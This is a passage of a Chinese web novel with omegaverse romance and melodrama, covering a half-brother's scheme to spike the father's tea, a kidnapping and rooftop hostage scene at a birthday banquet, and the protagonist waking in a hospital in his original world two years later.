卢绛讶然:“给我?” “我身边还有一只狗,叫卢比,卢比跟它一直不对付,见面就打架,咪咪又打不过卢比,经常会应激反应。” “哦,原来是这样。”还以为他养到一半不想养了才丢给他。 “你生日宴那天,你的omega应该也会来吧?” 他突然问到这个,卢绛因为咪咪没有多想,只是说道:“我会邀请他。” “真羡慕你,年纪轻轻,就什么都有了。” 卢绛敏锐地感觉到了他的情绪,很认真的说道:“只要积极乐观的生活,朝的好的方向努力,会得到自己想的。” 卢羡:“我跟你不一样,我大概……不会有机会了。”语落,他冲卢绛深深地笑了,眼底却是一片冰冷死寂。 卢绛向来不喜欢诉说自己的苦难,苦难就是苦难,不会因为有了比较,就会减轻一二。 “每个人都不一样,每个人的人生也不一样,不管怎么样,勇敢向前走就行了,脚下的路不会一直泥泞不堪的,有低洼就会有平坦。” “你好像在安慰我?” “没有安慰你,我只是在说我自己。” “你这二十年,难道还不够平坦顺遂,称心如意吗?” 卢绛不想说,但他实在忍不住,他想要为原来的卢绛正名,“如果有一天,你被自己叫了十八年的妈妈推下悬崖,你还觉得称心如意吗?这个世界又不是你一个人惨,命运不公你就去和命运对抗,谁对不起你,你就反击给他看,但卢绛不欠你的。” 原以为他会生气,谁知卢羡反而笑了出来:“你说得对,冤有头,债有主,刚才是我说话有些偏激了,弟弟不要生气。” 卢羡起身走到门口,似是想到什么,回头补了句:“生日宴那天,别喝太多。” 卢绛总觉得他话里有话,还想问些什么,他已经离开了卧室。 “别喝太多?”卢绛抱着怀里的猫想了许久,到底是另有所指,还是他心思太敏感,想太多了? 他的生日宴,其实也是卢佑铭的场子,这种重要的场合,保镖保安众多,服务员也都是经过特殊训练的,不至于会出乱子。 不过卢羡的提醒也有几分意义。 卢绛本就是心思重,情绪感应很敏锐的人,便将这句提醒记下了。 第86章 第86章 我也想你一整天。 晚上卢佑铭回了家, 家里的阿姨老老实实叫卢绛下楼吃饭。 许久未见卢佑铭,鬓发白了几根,不笑的时候看起来还是很有一家之主的威严。 虽说是穿过来的半路父子,但卢绛也从他那里感受到了偶尔的父爱, 虽然不多。 晚饭吃到末尾, 卢佑铭睇了一直沉默的卢绛一眼,冷声那叮嘱了句:“后天二十岁的生日宴, 我会替你决定要邀请哪些个朋友, 至于之前跟你混一起不着调的狐朋狗友, 最好不要再联系。” 其实这挺让人窒息的, 但卢绛毕竟不是原身,也没有认识那些所谓的‘狐朋狗友’,所以只觉得耳朵有点刺,左耳进右耳出没有发表意见。 “你哑吧了?” “好的爸爸, 知道了爸爸。” 卢佑铭心气不顺的放下了筷子, 转脸又笑着看向卢羡,“我听说最近你都有跟乔秘书去公司上班, 回家还要补习功课, 感觉怎么样?吃得消吗?” 黎花笑着抢话:“阿羡特别聪明,什么事儿一点就会, 你就不用……” “谢谢您的关心, 我感觉还是有点吃不消。”卢羡一副苦大仇深, “跟您失散十多年, 好不容易再重逢, 却总是见不到您的面,这让我很失落,儿子也想陪在您身边, 尽尽孝道!” “噗!咳咳咳……”卢绛呛了口汤,握拳轻抵在唇间,压低了咳嗽声,不由替人尴尬。 卢佑铭狠狠瞪了卢绛一眼,转脸笑了声:“哈哈,嗯!还是阿羡懂事。” “卢绛,吃完跟我来书房!” “哦哦,我还没吃完。” 卢佑铭看他又拿了两块饭后点心,还有他圆润了好些的脸,溜到嘴边的话又咽了回去。 吃完点心,卢绛心情复杂的看了眼身边坐得板正的卢羡。 “看什么?” “我真没想到,你会说那么肉麻的话。” “老人家不都爱听吗?” “他也不算老吧?” “他叫你去书房,是什么事啊?” “我不知道啊。” “一点底都没有吗?” “如果是分家产的事情,我会跟你说的。” “如果是家产的事,说不说都无所谓。” 卢绛点了下头,拿过一旁的湿毛巾擦干净手,起身去了卢佑铭书房。 黎花不由疑惑:“你刚才和他嘀嘀咕咕的说什么?” 卢羡淡然道:“刺探一下敌情。” 黎花拧眉:“他会跟你说?你们关系什么时候这么亲近了?” 卢羡:“我前两天把最爱的小女儿送给他了。” 黎花一阵惊恐:“你哪来的小女儿?” 卢羡:“咪咪啊,我看他们很投缘,所以只留了狗儿子卢比。” 黎花虚惊出一身冷汗:“你们现在这些年轻人……我回房间做面膜了,时间还早,回房间要乖乖学习哦!” 卢羡瞄了眼走进厨房里的阿姨,神色晦暗不明,约等了两三分钟,他才起身朝阿姨迎了过去,微笑着接过了她手里的参茶。 “阿姨,我去给爸爸送吧。” 阿姨看着他一脸欣慰,“大少爷真是很懂事呢!” 卢羡微笑着目送阿姨离开,转身走向里面的走廊,走廊铺着古典的地毯,两边墙壁上挂着二十多幅世界名画,尽头是卢佑铭的书房。 卢羡淡定从容的从口袋里拿出一支透明的5ml药剂往参茶里倒去,倒完再优雅的好好搅拌了几下,满意一笑。 他脚步轻快,嘴里轻哼着歌,“我有一个好爸爸好爸爸……” 书房。 卢绛双手背在背后,像往常一样像个标准的三好学生,在听老师训话。 “跟你哥相处得怎么样?” “挺好的,他送了我一只猫,我觉得他很友善。” 卢佑铭盯着他默了许久,似乎在确认他说的到底是真话还是假话,“我听乔秘书说,你大二学期转到帝都商学院了?” “是的,爸爸。” “你倒是有点上进心。” “嗯……”卢绛心虚的低下头看着鞋尖。 “卢羡现在已经去公司实习了,他做得很好,你占尽了这么多年的优势,卢家给了你这么多资源,结果呢?你白白浪费这么多年,就为了跟我们赌气!阿绛啊,你要知道自己要的到底是什么!你以为身边这些人捧着你惯着你,是因为什么?难道是靠你自己的本事?” 卢绛做了一个深呼吸,抬头看向卢佑铭。 “爸,你爱我吗?” “爸爸当然爱你,你是我的儿子!” “爱是有条件的,对吗?” 卢佑铭不怒反笑,意味不明,“父母之爱子,则为之计深远,做为儿子,你要想着如何对得起父母的这份爱!要学会感恩,要懂得回报,而不是一味索取!” 卢绛眉头紧皱,“我以后要是有了孩子,我不会要求他要回报要感恩,他只要开心快乐有独立的人格,做他自己就行。” “那,就等你当爸爸的那一天,你再来跟我说这些话。”卢佑铭嗤之以鼻,“阿绛,人会随着地位和身份的改变,思想也会有所改变,你我现在立场不同,你做为儿子不想要感恩不想回报,只想要自由地做自己,可你有没有想过我为你付出了多少?” “这个世界上,不会一直有不求回报的付出,就连父母也做不到,付出到一定的承度,如果得不到一丁点的回报,心里一定是会有怨的。” 卢绛听着眉头皱起,紧抿着唇不语。 卢佑铭继续说道:“就像你现在谈的那个omega,他也是想从你身上得到点什么的,如果你不是卢家的人,他连看都不会看你一眼!” “他不是那样的人!” “哦?你确定吗?你真的觉得自己很了解他?” “爸!我不想再聊……” 此时敲门声打断了他们的谈话,卢佑铭沉声道:“进来。” 卢羡微笑着端着参茶朝卢佑铭走了过去。 “爸,参茶要凉了,趁热喝吧。” “还是阿羡乖。”卢佑铭一脸欣慰的拍拍卢羡的小臂,很给面子拿过茶杯将参茶喝下。 卢羡一瞬不瞬的盯着他,笑容渐深。 喝完参茶,卢佑铭似乎累了,轻叹了口气:“行了,你们都出去吧,等下我还要和你们乔叔叔谈些工作上的事。” 兄弟俩一前一后走出了书房。 走廊里,卢绛只觉得他莫名有些说不出来的兴奋,“你遇到什么高兴的事情了?” 卢羡食指轻抵在唇间,做了一个噤声的手势:“秘密。” “你不说算了,”卢绛双手插兜想了想,还是对他说道:“刚才在书房,爸爸当着我的面夸你了。” “你听了什么感觉?” “没什么感觉,他是不是想让我们打起来?” “你觉得你能打赢我?” “为什么非得打架?” “啊这个嘛……可能是因为无聊,这么多人想看我们打起来,那就打一架咯,等他们抻着脖子看谁咬能咬死谁时,我们再手牵手走到他们面前,多有戏剧性?” “啊?” “卢家的东西我不要,如果你想要,我可以帮你啊!” “怎么帮我?” “就照我刚才说的办法,先打架,再搞一波拉帮结派,我再卖他们。” 卢绛狠抽了口气,不由打了个冷颤,“你这么做的由是什么?” 卢羡失笑,“单纯报复而己。” 卢绛默了会儿,问他:“如果我说,我也没想过继承家业呢?” 卢羡惊诧,“是吗?既然我们都不想要,那,你家那个omega想要吗?我看他挺有野心的。” “所以……”他跟景凉合作,把卢家掏空,也纯属于报复? “嗯?” “那就照你说的,咱俩演一场戏。”拿到卢家的家产没有坏处,至少以后卢羡还有去处,也有一个庇护。 他明显是想毁灭这一切才回来的,或许他根本都没想着要活着离开卢家。 “哥,你才二十岁,其实人生还有很多有趣的东西。” “我不感兴趣。” “好吧……”慢慢来,应该还有救。 卢羡迎着他的目光,一阵不自在,推了他一把:“你那什么眼神?” 卢绛单纯笑了笑:“只是觉得有兄弟挺好的。” 卢羡呼吸一窒,转身走得飞快,将卢绛一下甩了老远。 * 凌晨十二点,卢绛失眠了。 仰着脸举起手机,将景凉的聊天头像反复点开放大,连连叹气。 “他是不是……没以前那么爱我了?” “是我表现得太差了吗?” “可我该怎么办?他会一天比一天对我失望。” “过不了多久,他就不要我了。” …… 卢绛锁上手机屏幕,惆怅地翻了个身,如果注定要分开,让他看清楚自己的丑陋,然后被他厌弃,那还不如不要开始。 想到这里,卢绛眼睛一阵酸胀,泪水涌上了眼眶。 突然手机屏幕亮了,卢绛死去的心一瞬间被激活,迅速拿起手机查看。 【景凉:今天有好好吃饭吗?】 【景凉:我听说你爸回国了,他没训你吧?】 【景凉:我反思了一下,我之前说话重了点,没考虑到你的感受,我向你道歉。】 卢绛心脏紧了下,心里酸甜交加。 【卢绛:不是你的错,不要道歉。】 【景凉:别生我的气了,今天一整天都在想着你的事情,都没有好好工作。】 卢绛在空调被里高兴的蹬了两下腿,闷声发笑。 【卢绛:我也想你一整天。】 【景凉:看看你?】 卢绛主动的将视频电话拨了过去,景凉秒接。 卢绛情意绵绵地盯着视频里的人儿,看得着摸不着,思念更甚。 景凉也没好到哪去,在那端看着他一阵沉默,用指尖轻描着视屏里他的轮廓。 彼此就这么盯着屏幕,沉默了近一分钟。 卢绛声音微微涩哑:“我现在过来见你,好不好?” 景凉虽然也很想见他,但还有智:“现在太晚了,路上不安全,何况你爸才回家,你三更半夜出门,他又要说你。” 第87章 第87章 阿绛他心善,我才留他一条贱…… 卢绛掩不住内心的失落, 眸光又沉了几分。 “那我生日那天,你会来吗?” 景凉笑容温柔,“当然。” 卢绛心情好了许多:“那我等你。” “好。” “你要睡了吗?” “一点点。” “我今天做了一个决定。” “嗯?什么决定?” “我想和卢羡好好相处。” “是吗?”景凉轻叹了口气,“挺符合你的处事做风。” “可我又有些不安……” “是因为你的生母?” “我是不是有点自私?我不想再插手管何家的那些事情, 姥姥也许是真的有几分关心我, 可我知道她想利用我的身份对黎花母子做出反击,替自己的女儿出口气。” “你心里不是已经很明白了?纠结点在哪?” “因为卢羡他……好像也不是什么真正的好人。” “那我算是好人吗?”景凉不免有些紧张的看着他, “我也做了一些不道德的事。” 卢绛默了许久, 才说:“你不一样。” “哪不一样?跟他们不都一样么?” “反正, 你做什么都是有由的, 我知道的。而且你也没有真的损害无辜之人的利益,只是用的办法不太一样。” “你好双标,”景凉笑容渐深,“不过我喜欢。” 卢绛脸上一热, 一半羞耻一半高兴。 “卢羡放火烧了一整个村子。”卢绛突然说道。 “你觉得他伤害了无辜的人?” “我不知道他们无不无辜, 我后来一直在想,如果换作是我, 我会怎么做?” “有答案了吗?” “在那种情况下, 满心怨恨,已经对人生没有任何期待, 面对仇人与漠视者, 从道德法律上来说不可以, 可是从人性来说, 我觉得……他们活该。是他们先违背了人性, 为什么还要受害者守住人性的底线?凉哥,我是不是也很坏?” “才不会,”景凉面对他只有无尽的温存与包容, “你只是太善良了,才会纠结。规矩和道德是和有规矩有道德的人讲的,对于那种不讲人性和游戏规则的,只有弱肉强食,比谁狠过谁,他们才知道害怕。” 卢绛突然轻松了下来,虽然也知道他可能在安慰自己,但这番开解确实有用。 景凉打了一个哈欠,上下眼皮开始打架,“还不困吗我亲爱的alpha。” “我看着你睡。” “嗯,那我睡了,晚安。” “晚安。” 卢绛看着他沉睡过去,许久才恋恋不舍地挂断了视频电话。 * 等到生日宴会那天,卢绛一大早就被折腾起床了,造型师给他捯饬了一上午,衣服有好几套,卢绛并不喜欢西装的束缚感,选了一套海蓝缎面盘扣立领上衣,加黑色西裤。 蓬松的头发一丝不苟的梳了起来,整个给人一种神秘和禁欲感,深邃的眉眼锐利却又深情,这两年养出来的矜贵与从容更显露无疑。 卢佑铭把重要的宾客名单打包发给了他,让他临时认认,直到晚宴开席,卢绛身为主角还不能坐席面。 卢佑铭带着他和卢羡在宴会大厅认人,卢羡倒是一身中规中矩的浅灰色西装,衬得他很成熟稳重又贵气。 黎花则是陪帝都几桌贵太太们聊着天儿。 敬完酒,兄弟俩站在卢佑铭身后,看他正跟几个老朋友聊得开怀,私下嘀咕了起来。 “我抢了你这么大的风头,弟弟你不会怪我吧?”卢羡一脸玩味,又欠又茶。 “笑一笑,有记者在拍。”卢绛低声提醒了句。 “啧~”卢羡挤出一个笑来,“你这么在乎形象?” “不是啊,生日宴结束,你总是板着脸,外界会传我欺压哥哥,只给我办生日宴不给你办。所以你跟我走在一起,还是尽量笑一笑吧,我怕网暴。” “你还怕网暴?我看你之前不是也被网友骂得挺惨的?说你不学无术,乖戾嚣张,P你遗像,祝你往生极乐。” “就是因为被骂得太惨,所以才怕。” “没事,哥哥晚上给你骂回来!”卢羡半真半假的揽过他的肩膀,似是安慰。 “要不要我谢谢你帮网友半夜挖坟?” “都是兄弟,不讲这些。” “呵……” 卢羡见他左顾右盼,不由疑惑问道:“看谁呢?” “没谁。” “哦~在找你那个omega吧?” 卢绛默认,他叮嘱了大堂经,只要景凉过来,就带他去给他安排好的那一桌位子上。 现在宾客差不多都来齐了。 “你的生日还迟到,是不是没把你放心上?” “可能堵车。” “堵车是由?” “当然是!” “你就宠他吧,omega这么放任不管,以后要骑你头上撒野。” 卢绛觉得他在挑拨离间。 他悄悄拿出手机,正准备给景凉发消息,突然看到经带着一道熟悉的身影走正厅大门走了进来。 卢绛顿时心花怒放,恨不得飞奔到他身边,脸上是藏不住的欣喜。 “他来了!”说着,已经轻快迈出了小步子。 卢羡一把将他拽了回来,卢绛瞪了他一眼,恨他把自己拽回来。 “不准过去!” “你管我?” 卢羡笑容恶劣,一边盯着他,却一边叫了声:“爸,弟弟也想要和秦叔交流一下!” 卢绛肺差点气炸了,不能解卢羡为什么这样。 卢羡凑到他耳边说了句:“休想在我眼皮子底下秀恩爱!谁叫我没有呢?” 卢羡这个畜生! 卢绛把白眼翻上了天,被卢佑铭笑呵呵的推到了那位秦总面前,只能尴尬的问了一些浅显的国际经济问题。 硬生生拖了半个小时,直到席上菜都上齐,那位秦叔才老实坐回去和老伙伴一起吃席。 卢绛饿得前胸贴后背,酒差不多都敬完了,人也寒暄得差不多了,卢佑铭才说道:“行了,你俩也找个位子吃点东西。” 卢羡还想跟他一起,卢绛早有先见之明,快一步闪了。 卢羡的话还没说出口,在喉咙口轱辘了一圈只得咽了回去,“跑得真快!” 景凉旁边的位子是空的,卢绛特意给自己留的。 “凉哥。”卢绛拉开椅子,迎着所有人投来探寻的视线,微笑着从容坐到了他身边。 景凉将装满食物的盘子和他的空盘子交换了个,“专门给你留的。” 怕他会很晚过来,吃不到又饿肚子。 卢绛看着他连眼里都带着藏不住的笑意,大口的吃着他给自己夹的菜。 “你今天好晚到。” “嗯,去公司处了些事情,我都提前出发了,还是遇到了堵车。” “我有没有生日礼物啊?” 景凉一脸惊慌,“糟糕……” “怎么了?” “我昨天睡太晚了,就忘了给你准备生日礼物。” 卢绛虽然很失落,但还是笑着安慰他,“没事的,每年都有的生日,你能赶过来参加我的生日宴会,我就很开心了。” “嗯,那我给你变个魔术吧!” “好呀。” “你把手伸出来。” 卢绛将左手伸向他,景凉握住他的左手,顺着他的手背往下滑,卢绛感觉到食指尖的凉意,只见一只铂金戒指套了上来。 景凉执起他的手,欣赏地点点头:“果然,手好看,戴什么都好看。” 卢绛一颗心犹如小鹿在撞,“你什么时候……” “之前,我不是说要送你戒指吗?我请人设计了一对儿,好看吗?” “好看,你审美最好了。” “小嘴真甜。” 卢绛盯着他深红柔软的双唇,喉结滚动了下,怕自己忍不住,慌乱的收回了视线,假装埋头吃饭。 “你先吃着,我去一趟洗手间。” “哦,好。” 景凉忍不住抬手,指尖轻抚过他的鬓角,今天做了帅气的造型,不能像往常一样揉他头发。 卢绛心脏漏掉了一拍,全身仿佛有一阵电流穿过,酥酥麻麻的。 回过神时,撩火的人已经穿过人群,消失在门口拐角处。 此时洗手间很安静,只有水笼头哗哗的流水声,景凉洗好手,对镜了下仪容,正要转身准备出去。 一阵低沉的脚步声朝他逼近,门应声关上。 他心中警觉,假装低头自己的袖扣。 那人影如同捕猎的野兽,从身后朝他扑来。 景凉敏捷的躲开,迅速绕到了来人身后,发狠地扭过他的一只胳膊,扣过他的后颈子,死命的将他的头往盥洗池按去。 水还在哗哗的往下流,浇在那人头上,连眼都睁不开,嘴里却在嘶吼着。 “景凉你这个畜生!你害得我好惨!我要杀了你!” 景凉占着体位的优势,叫他无法反抗。 “陈万川,你害我好找啊!” “我要杀了你!我要杀了你!!啊!!!” “呵,杀我?一只丧门犬也只配在这里哀嚎了,除了叫得更大声,一点用都没有。” “姓景的,你以为我动不了你,就没人能动你了吗?” “哦?”景凉何其聪明,怎么会想不到他能成功来到这里,是背后有人相助? “是卢佑铭,还是他老婆黎花把你这条狗放进来的?” “你猜!” “我猜,是黎花吧?卢佑铭不会干这种蠢事,哦,也不对……应该说是黎家。” “哈哈哈哈……咳咳……哈哈……”陈万川呛了几口水,声音嘶哑像是挤压着肺里的空气,扯着喉咙在说话,“你,你是不是觉得自己很厉害,你算无遗漏?哈……” “我难道不厉害?”景凉冷笑,“其实陈总也不差,为了扳倒你,我演了五年!你知道我这五年心里有多憋闷么?还有你那个傻B儿子,他哪来的狗胆子来标记我?!残了两条腿都算他命好!阿绛他心善,我才留他一条贱命的,你得知足啊!” “有种你就杀了我!” “杀你我怕脏了手,让你牢底坐穿,生不如死才是我想看到的。” 第88章 第88章 卢绛身体失衡,被陈万川带着…… 景凉手腕一个用力, 卸了他一只胳膊,陈万川疼得冷汗涔涔,咬着牙低嚎着,双眼血红。 他掏出手机准备拨打110, 突然最后的隔间走出来一个人, 景凉意识到不对时,已经晚了, 细长的针头扎进了他的后颈, 没一会儿思绪陷入混沌, 眼前一片漆黑, 彻底失去了意识。 陈万川趴在地方盯着他,笑容扭曲至极:“哈哈哈哈……我说了,我说了总有人能动得了你!怎么样?你没有想到吧?哈哈哈哈……” “你得死,卢绛那个小崽种也得死!” * 卢绛吃完了也没等到景凉回来, 才刚起身准备去找他, 一道高大的身影猝不及防的凑了过来,一杯香缤才洒在他身上。 “抱歉抱歉, 我没料到你会突然站起来。”卢羡嘴里说着道歉的话, 人看起来一点歉意都没有。 卢绛深深怀疑他是故意的。 他紧抿着唇,抽了几张纸巾将衣服上的酒渍擦了一下, 没会他大步往前走去。 卢羡追上前把他拦下:“去换件衣服吧, 还有记者和这么多宾客在, 等会儿就要上台说谢词, 别给卢家丢脸。” “我等会儿换。”卢绛没好气推开他, 往洗手间方向走,他觉得今天卢羡跟他犯冲。 卢绛来到洗手间,喊了一声:“凉哥, 你在吗?凉哥?!” 没人应答,让卢绛没来由的心慌。 他拿出手机给景凉打电话。 等了好一会儿,电话终于接听了,但那边传来的是一个陌生的男人的声音。 “你是谁?” “卢少爷,生日快乐。” 卢绛听到另一端风声穿过听筒的呼啸声,判断得出在室外高处。 “景凉在哪里?” “别担心,他现在很好,不过需要你过来一趟,你一个人来,如果我发现你告诉了第二个人,或者带了人过来,我保证,你没有机会救他。” 卢绛浑身发冷,强迫自己迅速冷静了下来,“你在哪?我现在过来。” “酒店天台,卢少爷,我只等你五分钟,五分钟见不到你人,你就给你的omega收尸吧。” 语落,那边利落的挂断了电话。 卢绛疾步跑向电梯,看了眼电梯所在楼层,转身跑向了楼梯。一边跑一边报了警。 这家渡假酒店的天台是早晨提供免费早点的地方,卢绛以最快的速度赶到了天台,此时电话已经通了,卢绛锁了手机屏放进口袋,环顾了一下四周,在尽头的栏杆边看到了人。 景凉双手被绳子束缚,一动不动的倒在地上,似乎陷入了昏迷中。 陈万川凌乱的头发被汗水浸湿,狼狈的贴在头皮上,满眼狠戾地盯着靠近的卢绛,大有一副同归于尽的狠劲。 他手里把玩着一把瑞士军刀,歇斯底里,“狗崽子,你终于来了!” “陈万川,你想干什么?!”卢绛一颗心差点冲出胸口,他释放出自己的信息素,想起到压制作用。 陈万川笑容狰狞中透着一丝得意,“你以为信息素对我会有用?哈哈哈哈……来之前我打了信息素屏蔽剂,那么长的针扎进腺体里的痛苦我都忍了,就是为了这一刻!” 景凉指尖颤动了两下,有要苏醒的迹象。 陈万川脸上满是兴奋神彩,“好戏要开始了!”说着他拽过景凉的头发将锋利的瑞士军刀抵在了他的脖子上。 卢绛背后瘆出一层冷汗:“不要!” “知道怕了?”陈万川恨得浑身直抖,“你也知道怕?!当初你害我儿子的时候你知道怕吗?你有想过会有今日的后果?!你该死!” “陈叔,那只是一场意外,是陈又铮他自己非要找我比赛,我根本不想比的,我知道你心里怨恨,只要我能弥补,我一定……我一定会尽全力弥补,你别伤害无辜的人。” 卢绛现在只想安抚住陈万川的心情,拖延时间,等警察过来。 “你跪下!跪下!!”陈万川双眼红得几欲滴血,激动得手颤动不己,锋利的刀刃在景凉白皙的脖子上割开一道浅浅的血痕。 “别!”卢绛豆大的冷汗从额角滑落,因情绪紧绷仿佛连呼吸都沉重了几分,他胸膛起伏,没有一丝犹豫直直朝陈万川跪了下去。 “你爸妈不教你,今天老子就来好好教育你!”陈万川总算心气顺畅了许多,“你实话告诉我,是不是景凉这个表子他指使你这么干的?!” “不是,陈叔,你误会他了,这真的只是一场意外。”卢绛抬眸看向陈万种,眸光隐藏着绝决与狠戾。 高等alpha的五感比一般人都要敏锐,这里不止只有他们三个人,藏在他背后的人,才是最麻烦的。 如果今天是一场死局,他也要拉陈万川垫背! “呵……哈哈哈……意外?你们两个狗崽子把我陈家害得家破人亡,都是一丘之貉!一个比一个阴险狠辣!到现在还要装无辜,不知悔改,我今天就让你吃点苦头!” “陈叔!!”卢绛怒吼了声。 “怎么,你不服气啊?啊?!” “陈叔,我和凉哥的命都握在你的手里,我怎么敢呢?”卢绛扯着嘴角笑笑,“如果今天非死不可,可不可以让我死个明白?” 陈万川冷嗤:“你不明白?你害我儿子失去双腿,好好一个人变成了个残废,你是罪魁祸首!” “是,是我间接害得又铮哥变成这样,真对不起。” “你以为对不起就完了?我要你偿命!” “偿命,没问题,但我想知道你能顺利来这里,是谁在背后帮你?” 陈万川立时警觉:“我用得着别人帮我?我自己就能进来。” “是不是我妈?” “你是疯了吧?居然怀疑你的母亲?” “因为我不是她亲生的啊!”卢绛一脸悲恸:“她一直想让我死,这一次,我必须要死对不对?” “听不懂你在说什么!” “陈叔,我真的很抱歉,把又铮哥害成那样,我会以死谢罪,能不能让我死得明白一点?” 陈万川见他悲痛欲绝,泫然欲泣的模样,果真被骗了,嗤笑了声:“你猜都猜到了,问我干什么?啧啧啧,你也真是可怜哪!” 此时景凉的意识从昏迷中渐渐清醒,当看到眼前的形势时,紧张地摒住了呼吸。 “阿绛……” 当看到卢绛低着头跪在陈万川面前被折辱,景凉心如刀绞,平时他气得再狠,都舍不得动手碰他一下,陈万川怎么敢! “醒了?”陈万川拽着他的头发又用了几分力道,锋利泛白的刀刃在他的脖子前晃动,“怎么,这样就心疼了?又铮当时被截肢的时候,你知道我的心有多痛?那是我唯一的儿子,姓景的,你怎么这么狠的心?!” 景凉嚅动着苍白的唇,正要说什么,卢绛朝他轻轻摇了摇头,示意他什么也不用说,不要激怒陈万川。 只要再拖延一下时间,等警察过来,就会有转机。 远处已经传来了警车的鸣笛声。 “我现在什么都没有了,我已经不想活了!”陈万川疯了般怒吼着:“我活不成,你们也别想好过!你们都得给我死!给我死!!” 陈万川挟持着景凉继续往后退去,一直退到了栏杆边缘,意图再明显不过。 景凉手腕上的尼龙绳打的是死结,他挣扎了很久,直到手腕磨出两道深深的血痕,也没能挣脱。 “小杂种,你以为跪下就完了?” “陈叔,你还想让我怎么做?” “磕头,说对不起!!” 景凉胸膛巨烈起伏,忍无可忍:“卢绛,你给我起来!跪天跪地跪父母,怎么能够跪畜生?” “你想死?” “呵!”景凉气性高,哪怕在生死面前,有些尊严也绝不会让步,“陈总,你命低贱,让他跪你,你死不足惜,也不怕你孩子老婆受不受得起?你儿子是残疾了,不是死了!” “老子杀了你!”陈万川握紧了手里的刀,一道鲜艳的血滴从景凉脖子的伤口处滑落。 “陈叔!不要!”卢绛瞳孔震颤,心脏几乎停止了跳动。 “姓陈的你动手吧,等我死了,你那残疾儿子这辈子都别想好过,哦对,还有你老婆,你外头那个小情人跟十岁的私生子,哈哈哈哈……来啊,动手,不是不想活了吗?” “姓景的!!”陈万川气得怒目圆睁:“你,你……” 景凉压低的嗓音带着潮湿的冷意,犹如攀附的毒蛇,低语道:“陈总,我死了你也要跟着断子绝孙,哦对,你做过的那些丑事,都要公之于众,树活一层皮,人活一张脸,你不会以为我搞你,真的只查那些帐目吧?五十多岁的人了,怎么还这么天真?” 陈万川犹豫了,气得说不出话来。 “陈总,你好好想一想,现在回头还只是去坐一辈子牢,说不定七老八十也就出来了,现在拉我一起陪葬,陪葬的可不止我。” 见他失神,脖子上的刀放松了些许,景凉瞄准他的下巴,整个人发力狠狠撞了上去,这一撞陈万川咬断了半边舌头,嘴里全是血。 景凉因被注射药的原因,肌肉使不上力气,短短的一米远的距离跌倒了两次,卢绛见机猛的起身朝景凉跑去。 而此时陈万川反应过来,被彻底激怒,几步上前手起刀落朝景凉的后颈扎去。 原本是想去护景凉的卢绛,一个猛扑把陈万川撞到了栏杆边缘,陈万川不甘心手腕死死扼住了卢绛的脖子,脸上充血脖子血管爆起,样子十分可怖。 卢绛下意识反抗,突然只觉脖子一侧一阵刺痛,一根极细的麻醉针扎了进来,卢绛身体失衡,被陈万川带着一起翻下了栏杆,从高空坠落。 景凉瞪大着双眼,不敢相信眼前的情景,发生时不过一瞬间。 “不!!!阿绛!阿绛!!” 警察从天台两个入口带枪赶了过来,藏在暗处的杀手有序撤退。 第89章 第89章 想赢过这种畜生,就得比他还…… 渡假酒店有六层, 临着古镇的人工湖泊,卢绛被陈万川扼着脖子,失重往下坠落,一声巨响, 水花四溅, 因肺部缺氧而产生的痛苦让卢绛的意识有短暂的恢复。 但他四肢发麻,只是意识清醒, 只能感觉自己的身体往水底沉去。 耳畔传来刺耳的嗡鸣, 他隐约听到岸上有人在说话, 光影倒映的水波上, 影影绰绰。 他有种灵魂强烈的抽离感,最后有个念头在脑海里浮现。 如果他死了,或者他的灵魂永远离开这个世界,景凉该有多难过? …… 嘀。 嘀。 嘀。 卢绛不知道自己昏迷了多久, 当意识渐渐回笼时, 他听到了医疗机械声,紧接着刺鼻的消毒水味儿涌进鼻腔, 吸过肺管有些反胃。 他拼了命的想要睁开眼, 但是眼皮很沉重,整个人很困, 短暂清醒的意识又很快被拉扯进无底的黑暗。 卢绛一次又一次的试图从黑暗中苏醒, 每一次都必须用强大的意志力去抵抗, 直到终于突破了黑暗的枷锁, 睁开眼的一瞬, 刺眼的阳光白晃晃的,什么也看不清,适应了好久才渐渐恢复。 门口传来一阵动静, 穿着白褂子的女护士走进来查房,当看到他醒来时,又立即跑了出去叫主治医生。 医生带着一群人进来监听心率,又照了照他的瞳孔,拿手指在他眼前晃动。 “这是几?” 卢绛盯着医生伸出的两根手指,开了个不轻不重的玩笑,“耶吗?” “挺好,意识清醒,还会开玩笑。” 医生又问了他一些身体情况,填了病历表,吩咐他好好休息,便出去了。 留下查房的护士正在给他换药水,卢绛打量了下四周,问道:“我老婆没来吗?” “啊?”护士一脸震惊的盯着他,“你昏睡了两年,哪来的老婆?” “昏睡……两年?这是哪里?哪一年?” 护士暗抽了口气,僵着说道:“G市,2024年啊!” “不是14年?” “你……医生!医生你快回来!”护士又急急的跑了出去。 卢绛醒是醒了,但感觉还不如死了。 从问了那几个问题后,就瞪大着双眼一瞬不瞬的盯着白色的天花板,跟一个人形木偶似的,仿佛灵魂抽离。 之后医生怎么问他,他也不肯再开口说话。 卢绛眨了眨酸涩的眼睛,终于认清了现实,两年前的那场车祸他没死,昏迷了两年居然活了过来。 为什么?为什么还要让他再回来? 这里没有景凉,也没有人生的信仰,他憎恶这里的一切! 一想到可能再也见不到景凉了,卢绛的心脏犹如刀割,他忍受不了,也无法接受这个事实。 躺了两年的身体机能差到了极点,他颤颤巍巍的爬起身,拔掉了置留针,翻身滚下了病床,他扶着墙挪动着步子,每走一步都很艰辛,左腿每动一下依旧会钻心的疼。 这大概是当时车祸留下来的伤。 卢绛什么也顾不上,心里只有一个念头,他要去找景凉。 是找个湖跳,还是找个楼跳都好,只要再死一次,死透了,他就不用再回来。 可他还没走到电梯口,就被一个小姑娘给拉住了。 “哥哥!” 卢绛低头看去,是个扎着双马尾的小姑娘,大约六七岁的模样,穿着碎花小裙子,漂亮得像个洋娃娃。 “哥哥,你不认得我了吗?” 卢绛仔细打量着她,只觉得眼熟,却怎么也想不起她是谁。 “我叫萌萌,两年前我和妈妈去逛商场,差点被车撞了,是哥哥救了我哦。” “你好像长高了。” “嗯!我长高了十二厘米,从小朋友变成了大朋友。” 卢绛因萌萌的出现,平复了些心情。 “哥哥,你现在还不能到处走,医生说了,得好好休息,要做很多身体检查,你要好好听话,要乖乖的哦!” 卢绛迎着她纯真明亮的大眼,无法拒绝。 萌萌牵起他的手:“我带哥哥回病房。” 卢绛迟疑了会儿,被一个小姑娘拉着往回走,追上来的萌萌妈欣慰的松了口气,暗中给女儿举起了大拇指。 回到病房,季文菲给卢绛削了一个苹果,“你刚醒,医生说只能吃一些水果和易消化的食物,慢慢让肠胃恢复机能,你什么也别想,安心在医院养身体,你救了我女儿的命,是我女儿的再造恩人,我会尽我所能报答你。” 